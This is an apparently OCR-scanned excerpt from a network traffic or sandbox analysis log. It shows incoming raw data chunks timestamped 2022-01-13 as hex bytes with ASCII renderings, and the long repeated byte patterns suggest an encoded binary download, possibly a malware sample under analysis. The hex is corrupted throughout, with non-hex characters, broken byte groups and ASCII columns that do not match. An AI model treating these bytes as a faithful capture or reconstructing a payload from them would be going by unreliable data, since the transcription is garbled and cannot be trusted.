ad 97 14 50 96 3a 84 a7 1a 3b 59 70 8f 4b 26 ca 6b 37 fc da 14 74 €9 b2 65 6d 15 de 37 28 8a bl 7 41 89 b8 18 70 d9 ce
al 3d 5f a8 a8 d7 bc e0 05 5b 12 99 9b ea 95 03 69 be d4 6 6b 9f 28 eb 48 9¢ 70 cc 01 Of 13 df d2 05 e0 91 2a 8 66 6d
a4 25 {7 05 dc 09 f3 2a d1 f6 a6 79 6f 16 2a c4 71 78 25 35 39 29 06 99 88 5e 62 20 a8 38 af 7c a3 65 €0 ¢5 bl 94 56 85
9c d9 e3 9e 5b 8e 17 42 5d 93 90 0d d1 8f 26 5f 78 a8 46
Data Ascii: FAU[j6AK2Zi1#tax"=/k6E!Z}MgD& T$~$V5}rbY.IP:; YpK&k7tem7(Ap=_[ik(Hp*fm%+yo*qx%59) b 8|eV[B]& xF

2022-01-13 19:22:56 UTC 1179 IN Data Raw: c8 a4 40 72 05 3b 98 0d 35 44 b7 9a 4f 52 11 26 26 3e 3c 4f b2 96 5f 9a 26 ba 29 a7 f1 d7 cb c6 1b 9c 00 af 1c
19 86 24 17 a9 b3 bf 51 43 33 8f b8 5a cc 84 be fd 7c f4 8¢ 8a 22 b2 85 13 81 0f 82 dd 1c bd 9a 86 b4 42 51 66 €5 Ob 11
68 7e f2 a2 d4 91 2d 3a 23 38 06 f3 33 21 d3 ec a0 ce a8 ea ab a7 84 0a d6 79 47 08 3c 6¢ 17 ed 9e 5e d5 b4 1c 11 92 27
23 3e b0 1a 77 9f ce 5b db ed c1 7b 84 b3 6b 03 33 ac 46 d7 26 75 Oc 65 af c8 f6 b9 73 89 e3 09 1d 64 b3 16 83 53 4c 8¢
5a bc a0 76 98 a4 5d 97 af 39 57 f1 a5 df 96 17 c2 e2 f4 23 4a ad 98 71 16 da 32 d3 d2 Oc 49 8d ed 1f 30 96 0a 52 43 16
bf 8b 63 27 78 57 af 2b af 0 f2 50 f7 be 83 df db dc 0d ce al 73 22 11 ad 1c 72 3e 32 d4 fa 2a a6 50 56 2e el 14 76 18 b6
83 4f 8b 74 36 35 8f ed Oe 6e 74 b4 2f 6b b2 2d e0
Data Ascii: @r;5DOR&&><0_&)$QC3Z|"BQfh~-:#83lyG<IN#>w[{k3F&uesdSLZv]9W#Jq2I0RCCc'XW+Ps"r>2*PV.vOt65nt/k-

2022-01-13 19:22:56 UTC 1183 IN Data Raw: 6d ac 05 08 2d 70 7a 2b f3 56 d6 c6 68 c0 6b 69 1f Oe a7 83 b7 08 cd 93 1a 9c d5 f1 72 Oa 28 ea 9d 87 83 b9
46 8a 77 b8 1e 4b a8 01 f6 0f 2c 95 b2 99 d5 27 49 ae db 98 58 c6 d9 24 97 06 36 1d 5f 95 a8 dc 69 de 87 77 23 d6 ba 27
46 c3 7c el 04 d9 75 9e c2 0Of 3c c3 e2 92 4c 80 59 4c¢ 91 2¢ f9 23 81 cd e0 da dO c4 4a 86 d8 14 85 32 00 fO Ob Oe 2f 53
b8 3a 11 7b 03 d3 8¢ 08 e7 0d bd 65 a4 4f 2b bc 27 ee 4d 9e b4 6a 32 c2 Oa f8 14 ce 95 8c ad 62 cd d2 27 41 fa fa 3a b9
3367 f8 16 da ae ae 2f 5f de f1 8f f5 eb 4b 71 19 df 80 10 4c 9a f9 6d 54 3a 5a 43 ea 8a b2 8c 90 03 32 83 f1 6f 1f 94 90
43 d0 2d 03 5¢ 9b 5¢ 30 ac 53 8b 1e 7c ad db d9 5d be 7e 71 b1 04 ea Oc f8 df 9d 95 46 c6 eb 1d b5 1d da a6 12 41 e6 €9
64 b3 87 cf 95 07 1b Ob Ob da ff 54 55 7b e0 91 13 16
Data Ascii: m-pz+Vhkir(FwK,'IX$6_iw# F|u<LYL,#J2/S:{eO+'Mj2b'A:3g/_KqLmT:ZC20C-\0S|]~qFAdTU{
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Timestamp transferred Direction Data

2022-01-13 19:22:56 UTC 1187 IN Data Raw: 27 b2 ed d3 3d 3e 8b e7 el 8c Oa fd 79 48 8b 64 e5 6 4f 6a 2e Oc e9 7b 7e ab fd 8f ff e2 7b c¢3 bd 59 5e 87 cc
85 1d 81 e6 44 a7 26 38 d3 71 2e al b7 c7 56 92 03 5a 53 2a 61 7d 8d bd 62 e6 0f 73 81 a8 cc d8 ca 7d c7 00 72 90 c9
2d 95 54 4e 59 7f 36 a6 98 bf 18 00 69 90 91 bf ac 24 db f1 e2 47 a2 37 €9 01 9f 06 ae ce 23 32 72 a9 82 00 c3 cd 9e 08
60 fa Of 79 64 2d 44 65 bc 1a b2 f0 41 e5 1b 26 4d 06 46 40 a5 e0 90 10 31 49 f3 24 44 bb 77 c5 3e 3¢ 66 13 78 56 2d 9a
af ed 89 f5 ad cd 5a c9 7d eb d2 72 25 fa ca ae 2f 59 e4 3 ec 6¢ 9b eb fe 45 d2 d9 39 71 el 5e 1c 6e c1 e0 1d 13 a6 bb b6
b5 6d 17 ed e5 28 03 6f 41 b8 28 9f 1b 6b 9c fb 64 40 1c b2 84 4b 78 50 76 bb 56 08 ac 0d 19 6e de 92 ee Ob 20 4b f6 90
ed 68 87 9b d1 ff 38 69 aa 6¢ cf 72 dc 10 66 c9 0d b2
Data Ascii: '=>yHdOj.{~{Y"D&8q.VZS*a}bs}r-TNY6i$G7#2r yd-DeA&MF @ 11$Dw><fxV-Z}r%/YIE9g"nm(0A(kd @KxPvVn
Kha8ilrf

2022-01-13 19:22:56 UTC 1192 IN Data Raw: 4f 19 ¢7 30 e5 6e el af 18 51 7d ba 90 89 41 0a 96 c0 8e 58 c5 01 a2 db 9f c1 8d a2 d6 d7 ca 72 62 c8 df 55 4c
6b 1a 5e d8 93 al 47 8c 8e fe 2e 16 69 13 e2 45 8f a7 Of 68 a6 da a7 57 9a 6b 74 ca dd c7 23 e3 60 80 16 f1 05 d8 dc bl
af 26 be 55 33 97 2d d2 00 23 d3 51 18 2d 00 83 33 7b 62 60 €0 b6 1a 43 9b 4d 9d b1 be fd cb 5a 2f b0 6¢ 83 2e 1c 66 €0
03 07 5d 31 03 96 d5 26 a9 b3 89 21 2b fc b7 04 d1 al cO 2e 07 10 ¢5 9d a5 al df 6e 04 99 e8 7f 13 34 ff 91 Oc d9 7f bf 77
19 9b 14 30 69 dO Of 29 ee 83 a6 89 89 63 06 e2 a8 93 87 7b 4a 7c c8 1b 95 35 44 04 c3 90 9a 80 1d bd d9 a9 e9 06 €9
3e e3 ef d9 9d 57 b0 65 b0 0a dO af 32 08 42 Oc 41 90 c3 9 12 4b 4b 08 0 be df 63 8e bd e5 df 28 1a 8b 9d 57 5a 52 9f
26 cc 99 28 42 a8 78 b6 30 5d 12 dc f1 69 05 e6 c9 8a
Data Ascii: O0NQ}AXrbULKAG.iIEhWkt# &U3-#Q-3{b° CMZ/I.fl1&!+.n4w0i)c{J|5D>We2BAKKC(WZRE&(BXO)i

2022-01-13 19:22:56 UTC 1196 IN Data Raw: bc 6a b6 18 47 62 97 c6 40 ec 16 9c 95 a8 85 d5 90 85 d9 2d 7f a0 €3 52 Ob 1c c3 ¢4 Oc b8 52 32 03 28 ff 61
Ob 8f fa dd 7b 97 c7 96 4d 9d c8 94 ac 96 7d a3 a3 a9 5d 6f d8 79 b9 1b b7 0f 89 5a Oe a4 12 83 29 d2 90 c1 1e 05 4e da
5d 8c aa 02 e8 85 15 48 52 68 b1 ee 8b 1b 66 96 05 fd 98 27 7b 21 5 f2 1b el 20 74 2c 86 fc 2d 45 fb 7c 69 b2 02 23 3b
59 49 3c 28 4d b7 c0 91 f9 5e 7b bf 3¢ 9e 5b df ef 99 ee 80 66 95 1a 25 1f 24 ec b0 84 c5 74 64 4c 1c 98 fe 17 7f 72 c5 b3
7d 8d d2 f9 d4 89 3e 74 13 c2 31 28 df 8b 60 d5 9d e9 23 ef 98 f8 c5 8a 9b 9c 1b Ob 29 30 6b 8f 43 9e 68 8b e2 e1 52 83
c3f9 7d c5 6a 80 07 f5 4e fe Oe d6 b8 9c 04 02 23 63 13 dc 14 c8 8f a9 98 47 8f cc ch 7e 71 4a 25 59 e0 83 d7 ad df a8 f5
3507 33 ab 64 cf c0 0a 57 13 ca 5d 14 57 16 a7 d3
Data Ascii: [Gb@-RR2(a{M}JoyZ)N]JHRhf{! t,-E|i#;YI<(MM{<[f%$tdLr}>t1( #)OKChR}jN#cG~qJ%Y53dW]W

2022-01-13 19:22:56 UTC 1200 IN Data Raw: 8e 4f 87 2a b6 b8 32 22 9d f2 15 7a d2 48 2b {7 42 94 64 cb 1d 3e 09 5e 9b 3f fa 35 da 46 6e d6 6a cd 93 1d cb
99 e0 1c ee 43 81 8b de 1c 33 dc 1le 2d fa 69 2e a8 1b fb €9 66 f9 28 1f 5¢c c2 ee 6a c8 09 57 0d 40 8f 22 23 cb ¢5 dc 73
d2 3f 83 91 1b ec 8a 2a fd f5 d6 Ob f8 75 a2 b2 30 00 67 ee b8 00 11 94 c8 f7 cO bd 86 €3 b6 31 39 21 2f db 76 18 49 b6 35
54 1a 63 ad 97 9e d7 bb 91 fe 81 37 5¢ f0 8a 8¢ d2 ae 89 el 64 53 ef 13 5d 91 f6 22 9c f6 3 b9 38 8b ¢8 99 97 e5 ce 23
ef af 43 25 9d d5 eb 3 22 14 6e e7 5 f4 39 c4 9d 80 8a 16 80 €9 47 69 2b 78 25 80 63 9a c2 11 fa cc 74 02 59 fe 53 c2 2e
67 ca b8 46 ee 64 5¢c 05 d6 6e ea d1 30 4d d9 95 5f 49 b7 5d 31 91 4f 7e b1 d9 08 6e 63 1le 7e 61 d5 11 6¢c 97 b2 1b 13 d2
fb 5e 92 e6 76 40 c2 f8 ee 3d 60 3f 1a 65 12 38
Data Ascii: 0*2"zH+Bd>"?5FnjC3-i.f(\\W@"#s?*u0g19!/vI5Tc7\dS]"8#C%"n9Gi+x%ctYS.gFd\nOM_I[]10~nc~al*v@="?e8

2022-01-13 19:22:56 UTC 1204 IN Data Raw: 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa a0 1e 9b ef c8 ef
c8ebcl 5799 faal 76 5¢c 8b 2a 71 d3 Ob 31 f8 bc a0 fb b7 4c b0 dc d3 8a 01 db 59 9c 51 aa 6¢ 66 c1 a2 4a 3a 68 7f 7d
cd d6 73 92 9a cd 9f 24 86 8 bc 6¢ 66 29 73 ba 35 05 c2 41 49 d9 f9 43 4d da 7b bc 39 26 8d 1c 97 Oe b6 cf 83 3a d9 e4
50 31 65 e3 ef d9 f9 13 23 2d 7a 62 70 70 51 97 07 ff 2d 4f a6 d7 f4 78 41 80 b3 80 b3 84 bc e4 51 73 d6 a6 e7 07 c7 7c
4a d3 8b cf 82 57 98 74 58 €2 6¢ 93 1d e8 59 11 3d d7 f4 30 €2 ec 42 56 16 30 e2 f8 bd 2a f5 9a 8d b8 cf 26 8¢ Oe b7 f1 cd
26 8c 1a 91 a9 6e 27 Oe ff 2c bd ba 74 58 46 33 31 64 21 01 8a a9 02 5¢ 6b €5 b7 4d c2 25 76 5d fe aa a4 e3 9e f5 3a d8
7e 4f a3 61 8e 92 87 23 1d 18 b9 b1 50 29 5e 08
Data Ascii: )B)B)B)B)B)B)B)BWv\*q1LYQIfJ:h}s$If)sSAICM{9&:P1e#-zbppQ-OxAQs|IWtXIY=0BV0*&&n' tXF31d!\
kM%v]:~Oa#P)"

2022-01-13 19:22:56 UTC 1207 IN Data Raw: 6b eb 5 3b 84 b1 0f 34 bc 35 12 b2 c2 2e d8 7f 40 cc 16 al 75 d2 Oc bb b7 44 d3 82 ae d0 11 34 fa a8 c1 aa f9
36 ca le bb bf 82 be 05 ca 22 8a 98 80 7e 47 7c 42 0f 31 a5 6d 34 ed 1b 15 c1 a5 90 90 67 fa 2c ff a5 63 76 5b 00 5e 95
04 d9 fe 3f 45 21 07 6a 64 dc 79 61 88 04 46 8e 94 26 8a 1c 90 27 08 04 46 7a 40 80 b5 09 cd fb 25 25 Oc 80 b6 44 cb 3d
5a 76 58 68 7b d1 82 72 50 c1 a7 c4 2e 49 bd e7 d3 b8 cd 81 37 4a 39 41 4a 28 f2 9f 7a 6d eb e7 d5 ac d7 cb 9b 34 e9 eb
c2 16 a9 al 7d 07 c6 e9 dd 22 82 68 7f ea 5f 5d 87 f0 4a d4 Oc 59 ad 67 cc fb 13 12 7f 01 ea 6e 64 95 0d bc 37 c¢7 9f ea 51
05 cc bl 4f 01 d5 2d 74 e6 5a a5 6a d4 02 ee 48 79 cb d3 84 fa ae 9b 00 06 4a 61 81 63 fc f4 bb d8 79 ae d6 14 ab 30 ed
c22ac5a21e94d2 0791175796 al 71 1a9c 71
Data Ascii: k;45.@uD46"~G|B1m4g,cv[ ?E!jdyaF& Fz@%%D=2vXh{rP.I7J9AJ(zm4}"'h_]3Ygnd7QO-tZjHyJacy0*Wqq

2022-01-13 19:22:56 UTC 1211 IN Data Raw: fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91
29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 bb ea 0f 60 78 02 0d 56 26 bc 08 79 ¢6 2d 22 ¢3 f6 fb 72 16 98 dd bf €6 09 9d 25
75 98 f1 89 72 0a 37 61 be Oc ee 05 86 90 d2 50 77 a6 a3 3f 12 6 17 7b ae e9 ec 72 64 37 00 0d 68 0d 70 Oe €6 Oc f0 1a
7 0b 00 68 37 11 62 02 18 f3 63 aa 92 ca 71 e2 5c 33 3c 9c b8 ab 07 90 8 42 92 8 1d 46 62 28 b2 93 7b f8 8d 20 cb dd
b0 88 7 a4 aa 81 77 9d 02 09 9d 22 €0 58 2a c5 9c a5 3b 1f 43 3e bd fe ff 5b c8 42 88 €7 a6 b2 94 ce 63 ¢3 97 36 df bl
1e df ba 46 56 52 78 36 a6 b6 89 65 86 5 60 5d 5 €3 de 53 e7 82 e3 b0 a4 b5 37 13 66 19 66 28 b2 80 c2 70 06 14 ¢7 a0
ca 27 3e 9d 2f 34 5 34 e8 1d 5d d7 al 20 c1 93
Data Ascii: |B)B)B)B)B)B)B)B)B)B)B)B)B xV&y-"r%ur7aPw?{rd7hph7bcg\3<BFb({ w"X*;C>[Bc6FVRx6e 1S 7ff(p'>/44]

2022-01-13 19:22:56 UTC 1215 IN Data Raw: 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa
91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91
29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29
42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42
fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa
91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 2
942 fa 91 29 42 fa 91 29 42 fa 91
Data Ascii: B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)
B)B)B)B)B)B)B)B)B)B)B)B)B)B)B

2022-01-13 19:22:56 UTC 1219 IN Data Raw: 3a 53 50 ¢5 63 19 c¢7 76 92 4d 4f 40 0a 9b e0 83 f5 e3 3f ad 98 5e dc ae 16 70 87 f6 77 02 80 69 2f be e2 b0 12
7e 8e 4d 6d 2a 36 2d b4 01 1d dd 2e 27 d4 d2 c6 c2 c9 42 05 34 1c 7c 85 bb 32 1b dc fd af al b3 9f a3 bb 79 0b ff e3 21
d9 20 46 61 3f f2 01 ea 91 d6 bd 8a 99 3a e8 69 d0 34 db cd ae e9 ec 72 64 45 80 8b 1b 23 35 71 e2 5¢ 33 3d 6f dd d1 27
3e fl1 fd a4 ¢5 89 Ob f2 dc 3d e7 18 b6 66 a5 aa d1 28 2b b8 b6 50 {7 f4 e8 d7 36 20 20 69 3d 90 15 c7 45 7f cf 69 33 a6 Oe
66 af 94 48 ef 11 f2 73 0b €9 13 ee 85 e2 a3 aa 14 7b 07 Oc 75 1f d3 47 7 f9 fO 84 73 1a 5e fd f4 7b 07 40 14 69 2f ab 9a
4b 71 00 8a 7b 07 20 79 23 57 2a 47 07 f7 f4 7b 07 f7 Ob 00 68 4e 14 94 af 6b d5 bf 8f 24 48 f8 72 61 be Oc 82 9e c5 9c c1
3 36 eb bf 37 2d 07 9a 51 7 67 5a d2 b0 64
Data Ascii: :SPcvMO@?"pwi/~Mm*6-.'B4|2y! Fa?:i4rdE#50\3=0">=f(+P6 i=Ei3fHs{uGsN@i/Ka{ y#W*G{hNk$Hra67-QgzZd

2022-01-13 19:22:56 UTC 1223 IN Data Raw: 1f 2¢c c9 e9 6¢ d7 44 91 ad e3 5a b2 78 fb 99 {3 ab cb 00 99 fa 51 5b 4e aa 5e 87 71 77 7a e3 ce 30 d2 39 5b bl
7060 d6 el 79 40 Oa bc ca cb 56 9a 02 8a 66 f2 3f 95 cd 00 db 01 15 bb 35 91 d6 e4 cd 11 fc 37 c4 a9 99 a7 fa 25 fc 00 ff
87 b4 67 5d 27 b7 f3 8¢ 10 Oc 12 1f bc 50 93 a7 d3 fc 1f a5 dc 0d 97 a5 c6 1f 2c ¢9 a5 54 22 b3 74 69 dO 34 db cc 2b 47
85 0f09 fb 13 13 12 8f 24 b7 82 78 8e a2 31 ab 9d 43 83 f5 f9 0f 09 fb 13 12 8f 24 b7 7d fc 96 b4 f6 88 95 32 d6 42 fa 91
29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 2a c5 9c c1 9c c1 93 2d 2e b5 00 10 53 3f d3 1b dc fO c4 a5 aa 32 04 a2 31
b1 95 d7 3b 95 cd 51 64 ba fb ec 8d dc b3 8b e4 97 c0 ee 96 17 b9 24 93 2d 4b 8e 29 61 9d 60 c3 23 80 51 64 8d ec 8d df
13 de ac 1a 65 Ob ff e3 1f e0 a7 a6 69 1c 59
Data Ascii: ,IDZXQ[N~qwz09[p y@V{?57%g]'P, T"ti4+G$x1C$}2B)B)B)B)B*-.S?21;Qd$-K)a #QdeiY
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Timestamp transferred Direction Data

2022-01-13 19:22:56 UTC 1227 IN Data Raw: 51 64 ba ba ba fb ec b7 b8 00 97 fd d3 44 01 26 70 9f b7 8b ed 0Ob ff €3 21 ce cf 4d 6d 26 43 83 f5 f9 f0 84 73 19
e0 a7 a6 28 3f 8c 61 41 87 ec 8d df 2a 03 28 19 e0 34 b5 de ac 7c dc b0 12 16 5d 49 76 f4 48 f8 72 fd d4 c2 ea 7 c7 5f 45
19 d3 44 01 73 2a 3a 17 83 c6 el 25 a3 9d bc 7 92 67 33 a6 4e d8 b9 7e aa 02 82 78 c1 43 95 cd ae 61 53 60 3c 7d Ob ff
64 81 f2 7f b9 39 de 1b 51 €9 9e c5 63 3¢ 13 12 8f 24 b7 77 ef f9 0f 49 89 17 1a 73 a0 8¢ f6 77 6¢ d4 82 78 c1 23 ca d8 ec
d8 b9 7e db 69 2f af f5 98 47 7a ef 60 c3 68 d5 24 48 8 2c 68 b1 8f 83 ad 98 47 28 6d 26 43 cf 01 15 9 2b f8 72 9b fO b8
0097 fa 57 57 57 7d 29 bd 75 14 6b 2a 3a 17 e5 1¢c 59 52 e2 a3 ae 16 67 33 a6 28 3f 8c 61 41 87 ec 8d df 2a 3a 17 e5 1c
5952 e2 a3 ae 16 el a3 f7f4 22 e5 a5 aa
Data Ascii: QdD&p!Mm&Cs(?aA*(4|]IvHr_EDs*:%g3N~xCaS <}d9Qc<$wlswix#~i/Gz ' h$H,hG(m&C+rWWW})uk*:YRg3(?
aA*YR"

2022-01-13 19:22:56 UTC 1243 IN Data Raw: fc 96 b4 f6 88 95 32 d6 42 fa 91 29 40 3d 6f dd d5 b6 fb 12 8f 24 b7 7d fc 96 b4 f6 88 95 32 d6 42 fa 91 29 40
4d 92 ab 66 40 f5 07 f7 Ob 00 68 4e 14 94 af 6b d5 bf 8f 24 b7 7d fc 94 07 f7 Ob 04 79 f4 85 Oe 87 13 12 8f 24 b7 7d fc 96
b4 6 88 95 32 d6 40 6d d9 c8 27 37 61 bf 8f 24 b7 7d fc 96 b4 6 88 95 32 d6 42 fa 91 29 40 7d fc 96 b0 e4 61 bf 8f 24 b7
7d fc 96 b4 f6 88 95 32 d6 42 fa 91 29 40 8d 20 ae ed fd 18 9c c1 93 2d 4b 8e a2 ce 30 d2 39 66 49 89 17 la al 4e 7c 7a
76 69 d9 c8 22 b3 74 68 4e 14 94 af 6b d5 bf 8f 24 b7 7d fc 96 b6 a3 51 9b 3b 63 c3 96 b4 f6 88 95 32 d6 42 fa 91 29 42 fa
91 29 42 fa 93 65 c¢7 a0 ce 39 66 48 07 f7 Ob 00 68 4e 14 94 af 6b d5 bf 8f 24 b7 7d fe a2 ce 30 d6 4b 8e a3 51 9b 3f 73 e6
65 c7 a0 ca 27 3e f1 fd 18 9d 43 7e 57 a8
Data Ascii: 2B)@=0%$}2B)@Mf@hNk$}y$}2@m'7a$}2B)@}a$}2B)@ -KO9fIN|zvi"thNk$}Q;c2B)B)BeIfHhNk$}0KQ?se'™>
C~-W

2022-01-13 19:22:56 UTC 1255 IN Data Raw: fa 91 29 42 fa 90 ae €9 ec 72 65 87 13 85 ee 77 ef f9 Oe c7 a0 5d 56 26 bc 08 78 31 54 b5 98 b8 ff 1c a7 19 1f
bb 66 49 89 17 1b 63 c3 07 47 85 Oe 87 12 cf b2 b7 0d 04 70 60 3d 2f 50 26 fc 96 b4 f6 89 57 a8 e3 ee 77 ef f9 Oe c¢7 a0 8f
14 94 af 6b d4 7d fc 07 e7 e7 e7 e7 e6 25 3a d7 f4 84 8c 9e c4 5a 2f cO f1 fd 18 9d 42 ba 04 e0 b8 ff 1c a6 d6 02 6¢ c7 20
ae e9 ec 73 a6 d7 16 f8 8d 20 ae €8 29 42 2b 87 13 12 8f 24 b7 7d fc 96 b4 f6 88 95 32 d6 42 fa 91 29 42 fa 91 29 42 fa 91
29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29
42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42
fa 91 29 42 fa 91 29 42 fa 91 29 42 fa
Data Ascii: )Brew]V&x1TflcGp'=/P&Wwk}%:Z/Bl s )B+$}2B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B

2022-01-13 19:22:56 UTC 1271 IN Data Raw: Ob 00 18 fe 19 57 d8 3d e4 29 42 fa d0 Of 1c 59 65 4c 58 f8 be cb 22 ff 1c a6 95 Ob 15 €9 f8 9 fO fe d2 39 66 49
89 a7 8 Oe cf 6b 5e 70 60 3c ec c2 ac 6e 13 32 3a 6b 9d 14 9c e5 bf 06 3d a3 9d 8f e8 a5 99 6 4b d5 bf 8f 24 57 6¢ d6 Oa
7e 7f 01 fa 79 d4 19 53 12 ¢7 5f 45 79 2a 2d 6b f1 bl fd 50 19 1f 6e f7 1e 55 6f 56 6e a4 2c 20 df 3d 6f dd d1 16 bc 84 01
a2 ce 30 d2 bl e3 53 d7 d0 40 f5 06 75 eb 30 69 50 e6 9a 54 ac 0d 64 61 f2 0d 4c 58 79 79 bc 06 01 ea 6e 5b b1 fO cO 91
d6 bd 63 66 al 6¢ 73 aa 6d 91 21 62 cc 63 cd da 4a 4b 5 86 90 a6 95 5f af 94 64 ce 78 8e 5d 4f 11 e5 ¢3 b3 38 69 98 61
35 15 16 98 b8 1f cO 90 ee 24 f7 c7 6¢ 9b 3 ce fc 25 d1 49 bb c6 46 27 62 ca 6f 1e {7 55 fb 4f d6 1f 6d 87 52 42 bb 86 90
a7 29 86 11 45 80 83 Ob c8 07 6b 5e 70 60
Data Ascii: W=)BYeLX"9flk"p'<n2:k=K$WI~yS_Ey*-kPnUoVn, =00S@u0iPTdaLXyyn[cflsm!bcIK_dx]O8ia5%|%IF'bo
UOmRB)EK"p"

2022-01-13 19:22:56 UTC 1287 IN Data Raw: 8e 4a Ob 20 8a fd 9b 77 c7 84 e0 d1 fe 9a bd 8a 9a 8d 04 34 1c 68 c5 d4 05 d7 88 1c 6f ee 32 1d 66 46 d8 c3
40 7e ff 1b 23 35 94 2e cd ae 6e 56 23 b8 b3 bf 38 eb f0 7b fa 0d bf 70 9f b7 1d c0 df 5e 70 60 1c 82 e3 5d fe 4d 19 37 45
ec fb 5b 78 42 bf 8f 24 b7 7f 31 70 24 70 60 3c 6b €9 €9 61 f2 00 6f df 49 b1 54 66 8e 96 c1 53 1a 79 7f 01 ea 6e d3 9f e4
ea 26 bc 08 fb 1a b4 09 Oa f5 4e ee fc c6 f2 03 a6 80 9b 1b 57 21 79 e4 45 ec fb 5b b9 a5 09 72 2c 05 3f bf 43 b0 21 f2 d8
8204 38 1b dc bl cb 41 58 Oe c3 1e e2 5¢ 33 59 2d 6f 59 26 f4 ac c1 d7 4d da 4a Ob 00 e0 7c fe 11 45 b0 c9 el 53 9f 48
07 67 e8 ed 7f 39 42 be 85 Oe 87 13 8a bd Oe Oc da a6 54 6a 9e 09 37 ad ab ae 25 f6 77 10 75 8b f3 02 6¢ 57 28 e4 ed 79
bc 7 f4 7f 94 47 85 Oe 87 93 09 77 62 09 fb 13
Data Ascii: J wAho2fF@~#5.nV#8{p”p IM7E[xB$1p$p <kaol TFSyn&NW!YE[r,?C!I8AX\3Y-0Y&MJI|ESHg9IBT]7%wulW(yGwb

2022-01-13 19:22:56 UTC 1303 IN Data Raw: b4 97 52 74 46 03 ed f4 84 8c 96 b4 f6 8a a5 60 18 fc e2 3d Ob 69 fe 9a be Oc 82 87 1b 23 35 58 ce 07 d3 da 3e
90 2 7c 54 22 b0 ed 4 84 8a 99 3a el 9a bd 8a 99 3a 9b 4c 72 4a Ob 03 ee 77 ef fb 13 12 8f 14 94 af 6b b4 82 6 01 c4
1la a2 ce 30 d2 38 e4 61 a6 27 3e f1 fd 6¢ 2f 35 29 6¢ 57 ab 62 41 78 79 f4 84 88 55 92 8f 45 f4 €5 87 7a 58 2a c6 e aa €0
50 19 1f 2¢ 25 Oe a3 30 a6 b6 9f 21 1f 2¢ ca 27 3e f1 5 06 75 e9 a8 e9 ¢8 42 8e ¢3 13 6b fb 13 11 0d 04 70 68 4e 14 91 c1
a4 7 6a 26 dd b5 11 23 35 5e 38 e4 61 b8 ff 1c af 2b 47 85 Oe 87 60 4f f5 28 c0 12 8f 24 b7 7f 01 ea 6e 6b d5 bf 8f 45 f4
€5 87 3d 6f de 53 9f 48 06 75 eb e8 81 05 3 02 18 €5 86 e4 4f 97 35 5d b6 b 1b 23 35 5e 24 81 21 50 6d b8 9b 56 08 79
7 Ob 00 68 46 03 ee 77 a3 65 €3 bf fb 72 00
Data Ascii: RtF =i#5X>[T":LrJwk08a'>I/5)IWhAxyUEZX*P,%0!, >uBkphNj&#58a+G O($nkE=0SHUOS5#5"$!IPmVyhFwer

2022-01-13 19:22:56 UTC 1319 IN Data Raw: 05 f3 02 6¢ 57 a8 dc 4e be Oc 82 87 13 12 8f 25 aa €0 58 2a ¢5 9c c1 93 2d 4b 8e a2 ce 30 d2 39 66 d6 13 13
el da 4e 14 94 af 6b d5 bf 8d 07 f7 Ob 00 68 4e 14 96 90 7 Ob 01 ea 6e 5b b1 70 60 3e d5 bf 8f 24 b7 7d fc 94 b8 60 6d d8
b5 78 75 eb f0 7b f8 8d 20 ac f2 80 83 0a 7e 7f 01 e8 7d ad 67 cd ae €9 ec 72 64 45 82 93 2d 4b 8e a2 ce 30 d0 3b f5 57
a9 ad 67 ¢8 23 35 5d b6 fb 13 10 84 8¢ 9e c5 9c c1 93 2f 5¢c 62 41 79 4 84 8¢ 9e 5 9c ¢3 9b 3f 73 €6 65 ¢7 a0 c8 23 aa
b1 71 11 0d 00 68 4e 14 94 af 6b d7 c4 1a al 4c 10 8b 1b 22 5f eb f0 7a 76 6d d9 c8 23 35 5c¢ df d5 bf 8f 24 b7 7d fd fa Oe
d6 43 8f 24 b3 74 68 4e 14 94 af 6a b0 ed f4 84 8c 9e ¢5 9d fd 49 89 16 98 b8 ff 1c a6 d7 c5 22 b3 74 68 4e 14 94 ae 5d
29 13 13 el da 4e 14 94 af 6b d5 bf 8e 16 98 b8 ff
Data Ascii: IWN%X*-KO9fNkhNn[p >$} mxu{ ~}grdE-KO;Wg#5]\bAy?se#ghNKL"_zvm#5\$}CSthN;jl"thN])Nk

2022-01-13 19:22:56 UTC 1335 IN Data Raw: f5 75 8d 45 e4 15 64 26 bc 08 78 71 81 2b 23 47 ed 80 fO 17 6e 5b b1 15 72 11 61 dd bf e6 4a 39 55 d3 dc 21
58 47 a8 e8 5f cd 83 3e c7 ff 2a fd 60 13 26 8a f4 0 2c e4 0f 60 5d de 30 be 63 ac 91 04 04 03 81 6d f6 fa f4 f0 08 18 fO
